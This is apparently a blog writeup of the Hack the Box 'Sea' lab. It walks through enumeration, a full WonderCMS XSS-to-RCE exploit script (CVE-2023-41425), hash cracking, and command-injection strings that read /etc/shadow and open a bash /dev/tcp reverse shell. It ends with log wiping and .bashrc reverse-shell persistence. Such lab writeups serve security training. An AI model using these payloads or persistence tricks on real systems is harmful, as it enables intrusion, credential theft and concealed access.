Hack the Box - Sea
- BlueDolphin
- Jul 10
- 8 min read
Updated: Jul 21

YouTube Video Writeup
Engagement Flow

Tools used
Burpsuite
WhatWeb
OWASP ZAP
Netcat
Linpeas
Tactics/Techniques
CVE-2023-41425 - Wonder CMS XSS to RCE
Port forwarding - Access local resources on compromised host
Directory fuzzing - Discover CMS platform and version
XSS - Payload Delivery
Local enumeration - Discover database.js and internal web services
OS Command Injection - Inject commands for a reverse shell as root
Covering our tracks - with Moonwalk
Persistence - bashrc backdoor one liner
Summary
1) Enumeration - Host
Port 22 - SSH
Port 80 - HTTP
2 ) Enumeration - Web Application
Website is using Wondercms to host content
Contact us form vulnerable to xss
License, Readme and Version files leak information
Login URL is present
3) Vulnerability Exploitation
CVE-2023-41425
Test POC in default state
Troubleshoot
Modify POC
Establish reverse shell as www-data
4) Horizontal Movement
Locate database.js in /var/www/data
Extract hash
Clean up hash string
Crack hash
Login as user Amay over ssh
5) Privilege Escalation
Local enumeration with linpeas
Identify local webservice on port 8080
Port Forward
Enumerate web application with burp suite
OS Command inject reverse shell
6 ) Post Exploitation
Covering our tracks with moonwalk
Persistence by adding a backdoor to the bash.rc file
1.) Enumeration Host
Our surface area is small and simple with only 2 ports open. The first SSH, is running a relatively up to date version, so we will turn our focus and efforts to port 80 where we see a web application running on Apache.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2.) Enumeration Web Application
Before looking at the website we can leverage the tool "whatweb" which will gather valuable information about the application infrastructure. This can save considerable amounts of time and allow us to understand the underlying technologies of the web application.
In short our stack consists of the following:
Apache 2.4
Bootstrap 3.3.7
HTML5
Jquery 1.12
The detailed results can be viewed in the drop down below.
WhatWeb Results
WhatWeb report for http://sea.htb
Status : 200 OK
Title : Sea - Home
IP : 10.10.11.28
Country : RESERVED, ZZ
Summary : Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], JQuery[1.12.4], Script, X-UA-Compatible[IE=edge]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.41 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Version : 3.3.7
Version : 3.3.7
Website : https://getbootstrap.com/
[ Cookies ]
Display the names of cookies in the HTTP headers. The
values are not returned to save on space.
String : PHPSESSID
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.41 (Ubuntu) (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 1.12.4
Website : http://jquery.com/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx
String : IE=edge
HTTP Headers:
HTTP/1.0 200 OK
Date: Fri, 04 Jul 2025 16:07:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=t93vbj8i5vai33eufrfseqav7g; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1413
Connection: close
Content-Type: text/html; charset=UTF-8
The Landing Page
Below is the landing page we receive when browsing to our target over http.

Image - Landing page for sea.htb
Finding something interactive is often the next step
After crawling our target website we find that there is a contact form. This was the only interactive function found. We can safely assume that to some degree this is our attack surface for exploitation. However we don't know enough about how the form is being handled or stored to make assumptions about exploitability.
Filling out and submitting the form suggests someone could be reviewing this form as is the norm with Hack the Box labs. Passing our local host as the website results in a pingback. With a simulated user clicking our link. This will be a key piece to delivering our exploit/payload.

Further enumeration with OWASP Zap reveals assets on the website are stored in a directory named "themes". Running a dirbuster within the themes directory yielded no results. However taking and googling key words from the themes sub url's revealed information about the CMS platform.

Passing this string to google revealed that the Wonder CMS platform is being used, which widens our attack surface and helps to move us forwards.

Image - Wonder CMS
Clicking into the website link reveals exactly the same string/asset we found, but it also reveals that this post is from 2017. While looking at other hits on google I didn't see anything recent suggesting the use of this theme is packaged in with a very old and outdated version of WonderCMS going back to approximately 2017.

Image - Contextual information
3.) Vulnerability Exploitation
In this stage we are able to quickly ascertain a valid vulnerability by researching "WonderCMS vulnerabilities" The reason this is quickly determined is there are very few CVE's that exploit WonderCMS with a payload delivered via XSS. As a result, a highly accurate match up.
CVE-2023-41425

Image - CVE
Running the POC locally reveals expected user input of a login page. At this stage we are unaware of a login page and OWASP Zap turned up nothing of the sorts while crawling the webpage earlier in step one.

Image - Executing the CVE locally
Appending the URL with /wondercms/loginURL didn't work, but appending just loginURL works
and it actually brings us to the login page.

Image - login page
Great, we have a valid login page, opening the door for the below conditions to be satisfied provided by the CVE documentation.

image - CVE-2023-41425 POC from github
Vulnerability - testing and confirmation
Run default POC
Download the payload locally
Line 18 - Requires an explicit URL since we are not using a .log endpoint.
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var urlWithoutLogBase = "http://sea.htb";
Line 20 - Needs to point to our local host, since we do not have DNS from the HTB pwn box.
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var urlRev = urlWithoutLogBase+"/?installModule=http://localhost:8000/main.zip&directoryName=violet&type=themes&token=" + token;
You are ready to launch the exploit
Running the POC without any changes looks like this,

POC Code
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")Initial foothold as www-data
python exploit.py http://sea.htb/loginURL 10.10.14.179 6363
The above command was used to execute the script and pass the 2 arguments, the loginURL and our attacking machine IP.

Image - Exploit.py in action
Upon launching our exploit we are given the XSS payload and pass that to the contact form under the website input line, which is clicked by the administrator. When this happens, our code executes and establishes a reverse connection.

Image - Reverse connection
4.) Horizontal movement
Run local enumeration script linpeas
Navigate to var/www/sea/data
Cat database.js
Extract hash
Cleanup hash string
Remove backward slashes which are appended to forward slashes so they are not considered bad or illegal characters.
Crack hash
Login over ssh as Amay

Image - Hash identification and cracking
5.) Privilege Escalation to root
Running linpeas reveals the below web service running locally. We port forward over SSH in order to access the web service over 127.0.0.1 8080.

Image - LinPeas results showing internal service running on port 8080

Image - Local webapp over port 8080
Burpsuite is a powerful tool to help us with inspecting requests. Clicking the analyze button and reviewing the intercepted request in Buprsuite reveals the path being called by the Analyze function/command.

Image - Intercepted request
Testing command injection while following the OWASP guide on CI attacks eventually yields results when attempting example 5 found in their guide below.
ls; cat /etc/shadow
ls%3B%20cat%20%2Fetc%2Fshadow

The blow was a test to see if we had the ability to write and create files locally.
ls; ls /var/log > /var/www/html/boom.txt
ls%3B%20ls%20%2Fvar%2Flog%20%3E%20%2Fvar%2Fwww%2Fhtml%2Fboom%2Etxt

So normally you would pop a reverse shell, however the system kicks you off within 20 seconds off logging in. So instead I passed commands to cat the root flag under geo's account.
ls; whoami > /var/www/html/geo.txt
ls; cat /root/root.txt > /var/www/html/geo.txt

Beyond Root, we can see the system exit command forcing us off the system. Writing our SSH key and logging in is a workaround.
ls; bash -c 'bash -i >& /dev/tcp/10.10.14.138/6363 0>&1'

6.) Post Exploitation
Covering our tracks with Moonwalk
Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.
Persistence
When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.
Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.
Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.
Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.
Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.
Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.
THE END





Comments